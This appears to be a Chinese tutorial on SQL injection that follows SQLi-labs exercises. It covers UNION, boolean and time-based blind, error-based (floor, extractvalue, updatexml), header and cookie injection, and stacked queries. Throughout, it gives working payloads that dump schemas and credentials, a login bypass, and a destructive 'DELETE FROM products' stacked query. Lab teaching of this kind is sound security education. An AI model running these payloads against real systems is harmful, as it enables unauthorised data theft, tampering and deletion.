总字符数: 46.51K
代码: 21.03K, 文本: 12.83K
预计阅读时间: 2.45 小时
SQL注入
什么是SQL
SQL:结构化查询语言(
Structured Query Language
),是一种专门用于管理关系型数据库系统的语言.通过SQL,我们可以进行查询、插入、更新和删除数据库中的数据,同时也可以用于创建和修改数据库表、视图、索引等数据库对象.SQL是全球范围内最为广泛使用的数据库语言之一,几乎所有的关系型数据库系统都支持SQL.
什么是注入
注入是一种安全漏洞,特别是在B/S(浏览器/服务器)模式应用开发中,由于程序员水平参差不齐,很多应用程序存在安全隐患.攻击者可以通过提交包含恶意代码的输入,根据程序返回的结果来获取他们想要的数据/动作,这就是注入.
什么是注入点
注入点是可以实施注入攻击的位置,通常是一个用于访问数据库的连接.根据注入点所使用的数据库账户的权限不同,攻击者可能会获得不同的操作权限.
将SQL和注入结合
SQL注入是一种攻击方式,攻击者通过在应用程序中注入恶意的SQL代码,从而访问和操作数据库中的数据.
通常利用应用程序没有正确验证和过滤输入数据的漏洞进行攻击.
举个例子,如果一个网站的登录页面没有正确验证和过滤用户输入的数据,攻击者可以在用户名输入框中输入恶意的SQL代码,绕过身份验证,进而访问和操作数据库.例如获取用户的密码或删除数据.
简单来说,攻击者会巧妙地在输入框、网址参数等地方输入一些恶意的SQL代码,就像是在投放一些”病毒”.
这些恶意代码会混入到数据库查询的执行流程中,让服务器执行了攻击者设计的SQL语句,然后把攻击者想要的数据返回给他们.
这样的攻击就好比是在偷偷操控数据库,获取一些不该看到的信息.
SQL注入的危害
SQL注入攻击可能导致以下危害:
- 数据泄露: 攻击者可以通过SQL注入攻击获取到数据库中的敏感信息,例如用户名、密码、信用卡号、个人身份信息等.
- 数据篡改: 攻击者可以修改数据库中的数据,例如篡改用户的账户信息、订单信息等.
- 数据删除: 攻击者可以通过SQL注入攻击删除数据库中的数据,例如删除用户的订单信息、商品信息等.
SQL注入的位置
SQL注入可以发生在多个位置,包括:
- 表单提交: 主要是POST请求,也包括GET请求.
- URL参数提交: 主要是GET请求参数.
- Cookie参数提交.
- HTTP请求头部的一些可修改的值: 比如Referer、User_Agents等.
- 一些边缘的输入点: 比如.mp3文件的一些文件信息等.
SQL注入原理
在访问动态网页时,Web服务器向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句.
虽然网站内部直接发送的SQL请求一般不会有危险,但在需要动态构造SQL语句的情况下,如果用户输入的数据被构造成恶意SQL代码而未经审查,就可能带来危险.
攻击者利用这个漏洞可以绕过身份验证,访问和操作数据库中的数据.
注入点探测
注入点探测可以通过以下方式进行:
- 手动方式: 手工构造SQL注入测试语句,进行注入点发现.
- 自动方式: 使用Web漏洞扫描工具,自动进行注入点发现.
在探测注入点后,攻击者可以通过注入点获取所期望的数据,包括环境信息、数据库信息以及获取权限,甚至尝试获取操作系统权限.
信息获取
通过注入点获取期望的数据有以下几个方面:
- 环境信息: 攻击者可以通过注入点获取有关数据库和操作系统的环境信息,包括数据库类型、数据库版本、操作系统版本以及用户信息等.
- 数据库信息: 攻击者可以通过注入点获取数据库的详细信息,包括数据库名称、数据库表、表字段以及字段内容.此过程中,攻击者可能还会尝试破解加密内容.
- 获取权限: 在一些极端情况下,攻击者可能试图通过注入点获取操作系统权限.这可以通过在数据库中执行一些操作,比如运行shell命令或上传木马程序,来尝试获取更高级别的系统权限.
探测数据指纹
探测数据库指纹的目的是通过观察错误消息或使用特殊的语句,确定应用程序后端所使用的数据库类型.以下是两种探测数据库指纹的方法
通过观察错误消息
通过观察应用程序返回的错误消息,我们可以获取关于数据库类型的指纹信息.
不同的数据库在报错时会显示不同的错误信息,从而可以推断后端数据库的类型.
MySQL错误示例:
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Oracle错误示例:
1
ORA-00933:SQL command not properly ended
MS-SQL错误示例:
1
Microsoft SQL Native Client error '80040e14' Unclosed quotation mark after the character string
PostgreSQL错误示例:
1
Query failed:ERROR:syntax error at or near
利用语句探测数据库
利用不同数据库连接字符串的语法差异,通过构造特殊的语句来进行识别.
假设我们查询字符串为zhangsan
1 | Oracle: 'zhang'||'san' |
在这个示例中,我们可以通过提交特殊值进行测试,以生成zhangsan
字符串,然后观察查询结果.如果查询结果相同,则可以确定是哪一种数据库.
如果注入数字数据,还可以使用下面的攻击语句来识别字符串.每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错:
1 | Oracle: BITAND(1,1)-BITAND(1,1) |
通过这些方法,可以尝试识别目标应用程序后端所使用的数据库类型,为进一步的攻击做准备.
MySQL注入
MySQL常规操作
基础相关
- 数据库操作:
show databases;
:显示所有数据库的列表.create database test;
:创建一个名为 “test” 的数据库.use 库名;
:切换到指定的数据库.drop database 库名;
:删除指定的数据库.
- 表操作:
show tables;
:显示当前数据库中的所有表.create table 表名(列名1 数据类型1, 列名2 数据类型2);
:创建一张表,定义表的列名和数据类型.drop table 表名;
:删除指定的表.
- 数据操作:
insert into 表名(列名1, 列名2, 列名3,...) values(数据1, 数据2, 数据3,...);
:向表中插入新的数据.update 表名 set 列名1=值1, 列名2=值2,... [where 条件];
:更新表中的数据,可以带条件,不加条件则修改所有记录.delete from 表名 where 条件;
:删除表中符合条件的数据.
- 查询操作:
select 字段名1, 字段名2 from 表名;
:查询指定表中的特定字段数据.select * from user where id=1 and name='张三';
:查询满足指定条件的记录,要求ID为1且姓名为’张三’.SELECT 字段名1, 字段名2 FROM 表名 LIMIT 数量;
:这里,”数量”代表你想要返回的行数.例如,如果你想要返回前10行数据:limit 1,10
常用常量
1 | -- 常用的数据库常量 |
常用函数
1 | GROUP_CONCAT() |
MySQL默认数据库
information_schema
: 这是一个特殊的数据库,存储有关 MySQL 服务器所维护的所有其他数据库的信息.在这个数据库中,有一些关键的表,如:SCHEMATA
:包含有关所有数据库的信息.TABLES
:包含有关所有表的信息.COLUMNS
:包含有关所有列的信息.
这些表存储了关于数据库结构、表和列的元数据.
mySQL
: 这是 MySQL 管理用户、权限配置以及关键字等的数据库.在这个数据库中,有一些关键的表,如:user
:包含用户账户和权限信息.db
:保存了每个用户对每个数据库的权限.tables_priv
:存储有关表级别的权限.
这个数据库负责维护 MySQL 的用户身份验证和授权信息.
performance_schema
: 这个数据库用于收集有关数据库服务器性能参数的信息.它包含有关服务器性能的多个表,可用于监视和分析 MySQL 服务器的性能.
对于MySQL-5.0
以下的版本,是没有information_schema
数据库的.这个数据库在MySQL-5.0
及更高版本中引入,提供更方便的元数据访问和查询方式.
MySQL注入的类型
SQL注入的分类基本上都是根据注入的方式进行分类,大概分为以下4类
- 联合注入(Union 注入)
- 这种注入利用 SQL 中的
UNION
操作符,将两个查询的结果合并在一起.攻击者可以通过构造恶意的UNION
语句将额外的数据添加到查询结果中.
- 这种注入利用 SQL 中的
- 布尔注入(布尔盲注)
- 布尔注入是一种通过在 SQL 查询中注入布尔条件语句来判断条件真假的攻击.攻击者根据返回页面的内容判断条件是否为真,从而获取目标数据库的信息.
- 延时注入(时间盲注)
- 在延时注入中,攻击者注入一些导致数据库查询延时的语句,然后通过观察页面返回的时间来判断条件是否为真.这种注入方式通常难以被察觉.
- 报错注入
- 报错注入是一种通过注入导致数据库报错,并从错误信息中获取有关数据库结构和内容的攻击方式.攻击者可以利用数据库返回的错误信息来推断数据库的结构和执行状态.
通常,SQL 注入可以分为数字型和字符型两种基本类型.
- 数字型注入: 攻击者尝试在查询条件中注入数字值,通过条件的真假来获取信息.
- 例如:
1 AND 1=1
和1 AND 1=2
.
- 例如:
- 字符型注入: 攻击者尝试在查询条件中注入字符串值,同样通过条件的真假来获取信息.
- 例如:
1' AND '1'='1'
和1' AND '1'='2'
. - 也可以使用双引号,例如:
1" AND "1"="1"
和1" AND "1"="2"
.
- 例如:
判断注入类型
数值型
在输入参数 x
为整型时,典型的 SQL 查询语句如下:
1 | SELECT * FROM users WHERE id = $id; |
针对这种情况,可以使用 and 1=1
和 and 1=2
来进行注入判断.
网址:www.xxxx.com/ccc.php?id=x
数值型判断
我们可以输入以下内容:
www.xxxx.com/ccc.php?id=x and 1=1
,页面正常显示,继续下一步.www.xxxx.com/ccc.php?id=x and 1=2
,页面出现错误,说明存在数字型注入.
原因
- 当输入
and 1=1
时,后台执行的 SQL 语句是SELECT * FROM users WHERE id = x AND 1=1;
,没有语法错误且逻辑判断为正确,返回正常. - 当输入
and 1=2
时,后台执行的 SQL 语句是SELECT * FROM users WHERE id = x AND 1=2;
,没有语法错误但逻辑判断为假,返回错误.
假设为字符型
输入的语句可能如下:
1 | SELECT * FROM users WHERE id ='1 and 1=1'; |
在字符型注入中,查询语句将 and
语句全部转换成字符串,并没有进行逻辑判断,因此不会出现以上的结果.这个等式是不成立的.
字符型
当输入的参数 x
为字符型时,典型的 SQL 查询语句如下:
1 | SELECT * FROM users WHERE id ='$id'; |
对于这种情况,可以使用 and '1'='1
和 and '1'='2
来进行测试.
网址:www.xxx.com/ccc.php?id=1
字符型判断
我们可以输入以下内容:
www.xxx.com/ccc.php?id=1' and '1'='1
,页面正常显示,继续下一步.www.xxx.com/ccc.php?id=1' and '1'='2
,页面报错,说明存在字符型注入.
原因
- 当输入
and '1'='1
时,后台执行的语句是SELECT * FROM users WHERE id='x' and '1'='1';
,语法正确,逻辑判断正确,返回正确. - 当输入
and '1'='2
时,后台执行的语句是SELECT * FROM users WHERE id='x' and '1'='2';
,语法正确但逻辑判断错误,返回错误.
假设为数值型
输入的语句可能如下:
1 | SELECT * FROM users WHERE id = 1' and '1'='1; |
在数值型注入中,攻击者不会使用引号,因为它们会致使查询语句产生语法错误,而是直接插入或修改查询中的数值.
1 | mySQL> SELECT * FROM users WHERE id = 1' and '1'='1; |
字符型和数字型最大的区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合.在字符型注入中,通过构造带有单引号的语句,攻击者试图影响SQL
查询的逻辑判断.
Union注入
如何判断列数
在SQL注入中,order by
测试列数的原理是利用数据库中order by
语句对结果集进行排序的规则.
order by
用于指定排序的列,如果没有指定排序方式,默认按升序排列.
攻击者可以构造带有order by
语句的SQL语句,通过观察返回结果的变化来判断表中的列数.
举例来说,可以使用以下语句进行测试:
1 | SELECT * FROM table_name ORDER BY 1 |
这将按照第一列的升序排列结果.
- 结果正常返回,说明表中至少有一列.
- 结果异常返回,说明表中不存在第一列.
1 | SELECT * FROM table_name ORDER BY 2 |
这将按照第二列的升序排列结果.
结果正常返回,说明表中至少有两列.
结果异常返回,说明表中不存在第二列.
以此类推,通过改变order by
语句逐渐确定表中的列数.
当找到所有列后,就可以构造合法的SQL注入语句,获取所需的数据.
union
联合前后语句的列数必须相同.并且还要保证数据类型相似
例如,数字和字符的数据类型就不是相似的.
如果表中的列有不同的数据类型,黑客在确定列数后还会进行数据类型的判断,以确保构造的注入语句是合法的.
在SQL中,要合并两个表格的内容通常会使用UNION
操作符来连接两个SELECT
语句的结果.然而,UNION
操作符也存在一种被称为UNION注入
的骚操作.
注入流程
- 判断注入漏洞
'
或者"
或者)
:通过输入这些字符来尝试触发 SQL 注入漏洞.1 and 1=1 1 and 1=2
1' and '1'='1 1' and '1'='2
1" and "1"="1 1" and "1"="2
- 注释多余符号
-- -
或者#
:使用注释符号--
来注释掉 SQL 语句中的多余部分,使其不产生影响.
- 判断多少列
ORDER BY 20
:通过逐渐增加ORDER BY
后的数字来判断查询结果的列数.
- Union 联合查询
UNION SELECT 1,2,3
:使用UNION
进行联合查询,判断字符列在第几列.
- 报出相关信息
UNION SELECT 1,version(),3
:在字符列上报出数据库版本信息.
- 指定数据库、表、列
UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()
:指定数据库,爆破数据库表名.UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema=database() AND table_name="表名"
:指定表名,爆破列名.
- 查询数据信息
UNION SELECT 1,GROUP_CONCAT(列名,0x5c,列名),3 FROM security.users
:在字符列上进行查询数据信息.
为什么会出现盲注这个东西?
- 错误信息未显示: 在一些情况下,应用程序可能配置为不向用户显示详细的错误信息,这使得攻击者无法通过错误信息直接获取数据库信息.这时,攻击者可能会尝试使用盲注来推断信息.
- 输出被过滤: 有些应用程序可能对输出进行了过滤,防止攻击者通过错误信息直接获取敏感信息.在这种情况下,攻击者可能会使用盲注来绕过这些过滤.
- 获取数据长度: 在某些情况下,攻击者可能无法直接获取数据库中的数据,但可以通过盲注来逐步获取数据的长度,从而为后续攻击打下基础.
- 版本特性限制: 在MySQL 5.0版本以下,数据库中缺少
information_schema
这个数据库,它通常用于存储数据库元数据,使得攻击者无法通过标准的SQL查询来获取数据库结构信息.因此,攻击者可能会转而使用盲注技术来推测数据库的结构和内容.
盲注
盲注(
Blind SQL Injection
)是一种 SQL 注入攻击的变体,其中攻击者并不能直接看到数据库返回的信息,而是通过观察应用程序对用户输入的不同响应来推断数据库中的数据. 盲注之所以存在,是因为在某些情况下,攻击者无法直接获取到数据库返回的数据,但仍然能够利用应用程序的响应来进行信息收集和攻击.
盲注通常分为布尔盲注和时间盲注两种类型.
- 布尔盲注: 攻击者通过构造逻辑条件,观察应用程序的不同响应,来判断条件的真假.
- 时间盲注: 攻击者通过构造导致延时的条件,观察应用程序的响应时间来判断条件的真假.
布尔盲注
布尔盲注(
Boolean-Based Blind SQL Injection
)是一种SQL注入攻击的形式,与普通SQL注入不同之处在于,攻击者无法直接获取数据库返回的数据,而是通过观察应用程序的行为,根据不同的条件判断结果是否为真来逐步推断数据库中的信息.
以下是布尔盲注的基本原理和测试方式:
构造布尔条件: 攻击者通过构造SQL语句中的布尔条件,使得在条件成立时应用程序返回正常响应,而在条件不成立时返回异常或错误响应.
示例 1
SELECT * FROM users WHERE username='admin' AND 1=1;
上述语句中,条件
1=1
永远成立,应用程序将正常返回.观察应用程序行为: 攻击者通过观察应用程序对SQL查询的响应,判断条件是否成立.
- 应用程序返回正常响应,说明条件成立.
- 应用程序返回异常/错误响应,说明条件不成立.
逐步推断条件: 攻击者通过逐步调整条件,通过不断观察应用程序的响应来推断数据库中的信息.
- 可以通过逐渐改变条件中的值或关系运算符来确定数据库中的某个字符是否符合条件.
使用二分法: 为了提高效率,攻击者通常使用二分法逼近条件,从而更快地确定字符是否符合条件.
1 | -- 通过判断数据库名的第一个字符的ASCII码是否等于115来构造布尔条件,逐步推断数据库名. |
Less-8
盲注用户名
1 | ' and substring(user(),1,1)='r' -- - |
盲注库名
如果想猜测当前数据库,其原理也和上文一样.
查询有几个库
1
' and (select count(schema_name) from information_schema.schemata) =6 -- -
查询第一个库名长度
1
' and length((select schema_name from information_schema.schemata limit 0,1))=18 -- -
查询第一个库名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
251' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 -- -
'-- 此行无效
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110 -- -
'-- 此行无效
payload1 payload2 字符串
1 105 i
2 110 n
3 102 f
4 111 o
5 114 r
6 109 m
7 97 a
8 116 t
9 105 i
10 111 o
11 110 n
12 95 _
13 115 s
14 99 c
15 104 h
16 101 e
17 109 m
18 97 a
盲注表名
1 | ' and ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=101 -- - |
正确后会返回一个IP
1 | -- 获取表名的第一个字母的ASCII码 |
构造
Payload
,Burp抓包发送到爆破模块,选择交叉爆破,设置变量
payload1
数字模块,一般1-30就行一般表名的长度不会超过30payload2
数字模块,这里是ascii
码:0-127
即可,因为有些数据库可能有特殊字符发起
fuzz
按照报文长度排序,组合信息手动将
payload2
按照paylaod1
的顺序排列起来如下1
2
3
4
5
6
7
8payload1 payload2 字母
1 108 l
2 105 i
3 115 s
4 116 t
5 95 _
6 105 i
7 112 p
盲注列名
判断
users
表中有多少列1
' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 -- -
判断每一列的列名长度
1
2
3
4
5
6
7' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1))=2 -- -
'-- 此行无效
' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1))=8 -- -
'-- 此行无效
' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1))=8 -- -判断第二列列名
1
2
3
4
5
6
7
8
9
10
11
12' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1),1,1))=106 -- -
'-- 此行无效
payload1 payload2 字符串
1 117 u
2 115 s
3 101 e
4 114 r
5 110 n
6 97 a
7 109 m
8 101 e
盲注数据
1 | -- 判断列中有几条记录 |
时间盲注
时间盲注(
Time-Based Blind SQL Injection
)是一种SQL注入攻击的类型,与普通的SQL注入不同之处在于它利用了数据库在执行查询时产生的时间延迟来推断查询条件的真假.
在时间盲注攻击中,攻击者构造了一个SQL语句,该语句在条件成立时会导致数据库执行操作,而在条件不成立时会产生延时.
攻击者通过观察应用程序对不同情况的响应时间来判断条件是否成立,从而逐步推断数据库中的信息.
以下是时间盲注的基本原理和测试方式
构造带有时间延迟的条件: 攻击者在SQL语句中构造一个条件,使得在条件成立时会导致数据库执行操作并产生时间延迟.例如:
1
SELECT * FROM users WHERE username='admin' AND IF(1=1, SLEEP(5), 0);
上述语句中,如果用户名为
admin
且条件1=1
成立,数据库将执行SLEEP(5)
,导致延时5秒.观察响应时间: 攻击者通过观察应用程序对SQL查询的响应时间来判断条件是否成立.
- 应用程序的响应时间较短,说明条件不成立;
- 应用程序的响应时间较长,说明条件成立.
逐步推断条件: 攻击者逐步调整条件,通过不断观察响应时间的变化来推断数据库中的信息.例如,可以通过逐渐改变条件中的值或关系运算符来确定数据库中的某个字符是否符合条件.
盲注的流程
- 盲注用户名长度,再去盲注用户名
- 盲注数据表表名的长度,再去盲注数据表名
- 再去盲注数据字段长度,数据字段名
- 然后就是数据的记录总数,数据记录
Less-9
盲注用户名
1 | ' and if(substring(user(),1,1)="r",sleep(5),1) -- - |
盲注库名
如果想猜测当前数据库,其原理也和上文一样.
查询有几个库
1
' and if((select count(schema_name) from information_schema.schemata)=10,sleep(5),1) -- -
查询第一个库名长度
1
' and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(5),1) -- -
查询第一个库名
1
2
3
4
5
6
7' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) -- -
' -- 此行无效
' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110,sleep(5),1) -- -
' -- 此行无效
-- 事实上这个库名我们知道是默认的information_schema
盲注表名
1 | ' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=1,sleep(5),1) -- - |
正确后,页面会延时5s返回
1 | -- 获取表名的第一个字母的ASCII码 |
盲注列名
判断
users
表中有多少列1
' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) -- -
判断每一列的列名长度
1
2
3
4
5
6
7
8
9
10-- 第一列列名长度
' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1))=2,sleep(5),1) -- -
' -- 此行无效
-- 第二列列名长度
' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1))=8,sleep(5),1) -- -
' -- 此行无效
-- 第三列列名长度
' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1))=8,sleep(5),1) -- -判断第三列列名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1),1,1)))=106,sleep(5),1) -- -
' -- 此行无效
payload1 payload2 字母
3 115 s
4 115 s
7 114 r
8 100 d
6 111 o
1 112 p
5 119 w
2 97 a
-- 按payload1顺序排序为:password
盲注数据
1 | -- 判断列中有几条记录 |
报错注入
报错注入(
Error-Based SQL Injection
)是一种SQL注入攻击的形式,攻击者通过构造恶意的SQL语句,使得数据库执行时产生错误信息,进而泄露敏感信息.
以下是报错注入的基本原理和测试方式
构造恶意SQL语句: 攻击者通过构造SQL语句,故意引发数据库执行错误,以便获取错误信息中的敏感信息.
示例 1
2SELECT * FROM users WHERE id = '1' AND 1=CONVERT(int, (SELECT @@version));
-- CONVERT(int, (SELECT @@version))n会引发错误,将数据库版本信息包含在错误信息中.观察错误信息: 攻击者通过观察应用程序返回的错误信息,从中提取敏感信息,如数据库版本、表名、列名等.
逐步推断信息: 攻击者通过逐步调整构造的SQL语句,观察不同的错误信息,逐步推断数据库结构和内容.
1 | -- 尝试获取users表的第一个列名,通过观察错误信息中的内容逐步推断数据库结构. |
技巧思路:
- 在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
select
/insert
/update
/delete
都可以使用报错来获取信息.背景条件∶
- 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
判断是否存在报错注入:输入’You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
floor报错注入
报错原理
floor报错注入是利用
select count(*),(floor(rand(0)*2)) x from users group by x
这个相对固定的语句格式,导致的数据库报错. 实际利用中通过
concat
函数,连接注入语句与floor(rand(0)*2)
函数,导致键值key重复.
要理解该语句的报错原因,首先大家需要理解如下的关键函数的作用:rand()
、floor(rand(0)*2)
、group by
、count(*)
.
理解rand函数
rand()
是一个随机函数,当没有给定固定的随机数种子时,它会在每次调用时生成不同的数值.然而,一旦我们使用种子0初始化随机数生成器,rand()
就会形成一个固定的伪随机数序列.因此,即使函数本身旨在产生随机结果,通过使用固定的种子,产生的数值在每次程序运行时都将是相同的.这种现象在查看一个含有13行数据的表users
时变得很明显,只需观察前6行,我们就能发现这一模式的一致性.这种一致性揭示了伪随机数序列的特性,即在给定相同种子的情况下,序列是完全可预测的.
那么floor报错注入利用的时候rand(0)*2
为什么要乘以2呢?这就要配合floor
函数来说了.
理解floor(rand(0)*2)函数
floor()
函数的作用就是返回小于等于括号内该值的最大整数,也就是取整.
floor(rand(0)*2)
就是对rand(0)
产生的随机序列乘以2后的结果,再进行取整.得到伪随机序列为如下图所示:(只看前6行即可)
因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1
的顺序.
理解group by()函数
group by
主要用来对数据进行分组(相同的分为一组).
例如建立如下表进行实验
通过如下语句进行查询.(这里在a和x之前缺省了as ,作用为用a和x代替原有的字段显示),显示的结果如下图所示:
但通过group by
进行分组排序是,结果会进行分组,相同名字为合并.如下图所示
最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值
理解count(*)函数
count(*)
统计结果的记录数
这里与group by
结合使用看一下:
这里就是对a
中的重复性的数据进行了整合,然后计数,后面的x
就是每一类的数量.也就是lisi有2个,wangwu有1个,zhangsan有3个.
按照ascii排序.
报错原因分析
大家已经了解基本函数后,当执行如下语句时,就会产生一个报错.如下图所示
select count(*),floor(rand(0)*2) x from users group by x;
该语句的目的是统计生成的随机数的种类及其数量.
原本期望的执行结果是统计两个不同的随机数:0
和1
,它们在生成的随机序列中分别出现了两次和四次.
然而,出现了一个报错.为什么会报错?.
关键在于理解 GROUP BY
函数的工作过程.在执行 GROUP BY key
时,数据库会逐行读取数据并将结果保存到一个临时表中.
对于每一行会有以下两种情况:
key
已经存在于临时表中,那么就会更新临时表中对应的数据,而在更新数据时,不再计算随机数的值.
2. key
不存在于临时表中,就会将包含该 key
的行插入到临时表中,插入时会重新计算随机数的值.
现在,考虑一种情况:临时表中只包含 key
为 1 的行,而没有 key
为 0 的行.
当数据库尝试将一行 key
为 0 的记录插入到临时表时,由于这是一个随机数,插入时会重新计算 floor(rand(0)*2)
的值.
这可能导致插入时的值与检测时的值不一致,从而导致插入时的冲突,最终触发了错误.
检测时和插入时两次计算了随机数的值,导致了错误的发生.
具体报错原因可以通过下列过程展示:
MySQL
执行结果,会产生011011
这个序列,group by
时,会建立空虚拟表如下图,然后从SQL
语句执行结果序列(011011
)读取数据并插入虚表:
key | count(*) |
---|---|
虚表写入第一条记录,执行
floor(rand(0)*2)
,发现结果为0(此时为第一次计算)操作 key floor(rand(0)*2) count(*) 取第一条记录 0 查询虚拟表,发现0的键值不存在,则插入新的键值的时候
floor(rand(0)*2)
会被再计算一次,结果为1(此时为第二次计算),插入虚表,第一条记录插入完毕,结果为1.操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 虚表写入第二条记录,再次计算
floor(rand(0)*2)
,发现结果为1(此时为第三次计算),此时结算结果为1,所以floor(rand(0)*2)
不会被计算,直接count(*)
加1,第二条记录写入完毕.查询虚表,发现1的键值存在,所以
floor(rand(0)*2)
不会被计算第二次,直接count(*)
加1,第二条记录查询完毕.操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 取第二条记录,不用插入 1 1 2 虚表写入第三条记录,再次计算
floor(rand(0)*2)
,发现结果为0(此时为第4次计算),计算结果为0,此时虚表中没有0的数据记录,则执行插入该数据,插入时会再次计算floor(rand(0)*2)
(此时为第5次计算),计算结果为1.然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以就产生了主键冲突的错误,也就是:Duplicate entry
的报错.操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 取第二条记录,不用插入 1 1 2 取第三条记录 0 插入记录 1 1
总结
通过上述的分析,在虚表中写入第三条记录时产生了报错.
关键在于 floor(rand(0)*2)
这个随机数表达式在该过程中被计算了五次,这解释了为什么数据表中至少需要三条数据才能触发报错的原因.
首先,要理解为何需要至少三条记录.每行记录插入时,随机数表达式都会重新计算.如果只有两条记录,那么在插入第三条记录时,它可能导致和之前插入时计算的随机数不一致,从而产生报错.
此外,要注意随机数种子的问题.如果没有加入随机数种子或者加入了其他的数,那么 floor(rand()*2)
产生的随机序列是不可测的.
这样可能导致插入时无法触发报错,因为随机数的值不可预测.
最后,关于虚表中的键值问题.
如果前面的记录查询后并未在虚表中留下 0 和 1 这两个键值,那么无论插入多少条记录,都不会触发报错.
这是因为 floor(rand()*2)
不会再被计算作为虚表的键值.
这也解释了为什么不加随机数种子有时候会报错,有时候不会报错的原因.在没有明确的种子的情况下,随机数的计算结果可能会因为每次执行而不同.
比如下面用1作为随机数种子,就不会产生报错.
利用方法
Less-5
1 | -- 固定报错 |
1 | -- 查询数据库名 |
1 | -- 查询表名 |
1 | -- 查询列名 |
1 | -- 查询内容 |
extractvalue报错注入
extractvalue()
MySQL中对XML文档数据进行查询的XPATH函数ExtractValue(xml_frag,xpath_expr)
- 第一个参数可以传入目标xml文档
- 第二个参数是用xpath路径法表示的查找路径
1 | -- 查看当前数据库用户 |
updatexml报错注入
updatexml()
MySQL中对XML文档数据进行查询和修改的XPATH函数
UPDATEXML(xml_document, XPathstring, new_value)
- 第一个参数:fiedname是String格式,为表中的字段名.
- 第二个参数:XPathstring (Xpath格式的字符串).
- 第三个参数:new_value,String格式,替换查找到的符合条件的
1 | -- 查看当前数据库用户 |
updatexml()
能查询字符串的最大长度为32,如果我们想要的结果超过32,就需要用substring()
函数截取
geometrycollection()
multIPoint()
polygon()
multIPolygon()
linestring()
multilinestring()
exp()
POST注入
POST注入是一种SQL注入攻击类型,与GET注入相对应.
在POST注入中,攻击者利用应用程序接收的用户提交的POST请求参数中的漏洞,注入恶意的SQL代码,从而执行非法的数据库操作.
基本原理和步骤如下:
- 构造恶意的POST请求: 攻击者通过修改POST请求中的参数值,注入包含恶意SQL代码的内容.
- 寻找注入点: 在POST请求中,通常存在一些参数用于传递用户输入的数据,攻击者需要找到可以注入的参数位置.
- 构造恶意SQL语句: 攻击者构造包含恶意SQL代码的语句,将其嵌入到POST请求参数中,以触发数据库执行非预期的操作.
- 观察应用程序响应: 攻击者观察应用程序对恶意请求的响应,判断是否成功执行了注入的SQL代码,从而推断数据库结构和获取敏感信息.
假设一个应用程序接收用户的登录请求,POST请求中包含用户名(username
)和密码(password
)两个参数.攻击者可以构造恶意的用户名参数,尝试进行SQL注入.
1 | POST /login HTTP/1.1 |
上述例子中,攻击者在用户名参数中使用了SQL注入的技巧,通过 ' OR '1'='1' --
来绕过身份验证,使得条件始终为真.
打开靶机SQLi-labs/less-11
输入dump,dump
打开BURP抓包数据
快捷键Ctrl+R发送到Repeater模块
输入单引号发送包发现报错
开始基本流程
1 | -- 闭合 |
User-Agent注入
Less-18
需要正确登录
1 | -- 获取库名 |
Referer注入
Less-19
1 | -- 获取库名 |
Cookie注入
登陆后才有Cookie.
1 | -- 获取表名 |
堆叠注入
定义:从名词的含义就可以看到应该是一堆SQL语句(多条)一起执行
堆叠注入原理
在SQL中,分号(;)是用来表示一条SQL语句的结束.
试想一下我们在;
结束一个SQL语句后继续构造下一条语句,会不会一起执行?
因此这个想法也就造就了堆叠注入.
而union injection
S(联合注入)也是将两条语句合并在一起.
两者之间有什么区别么?
- union 执行的语句类型是有限的,只能用来执行查.
- 因为在我们每次进行SQL注入的时候,我们输入语句会拼接到
$SQL="SELECT * FROM users WHERE ...
那么在为查询赋予条件的时候我们是不可能在后面跟随另外的增删改查操作的.
- 因为在我们每次进行SQL注入的时候,我们输入语句会拼接到
- 堆叠注入可以执行的是任意的语句.
- 用户输入:
1; DELETE FROM products
服务器端生成的SQL语句为:Select * from products where productid=1;DELETE FROM products
- 当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
- 用户输入:
但堆叠注入不是在什么情况下都可以使用,可能会受到API或者数据库引擎又或者权限的限制只有当调用数据库函数支持执行多条SQL语句时才能够使用,利用
mysqli_multi_query()
函数就支持多条SQL
语句同时执行,但实际情况中,如PHP为了防止SQL注入机制,往往使用调用数据库的函数是mysqli_ query()
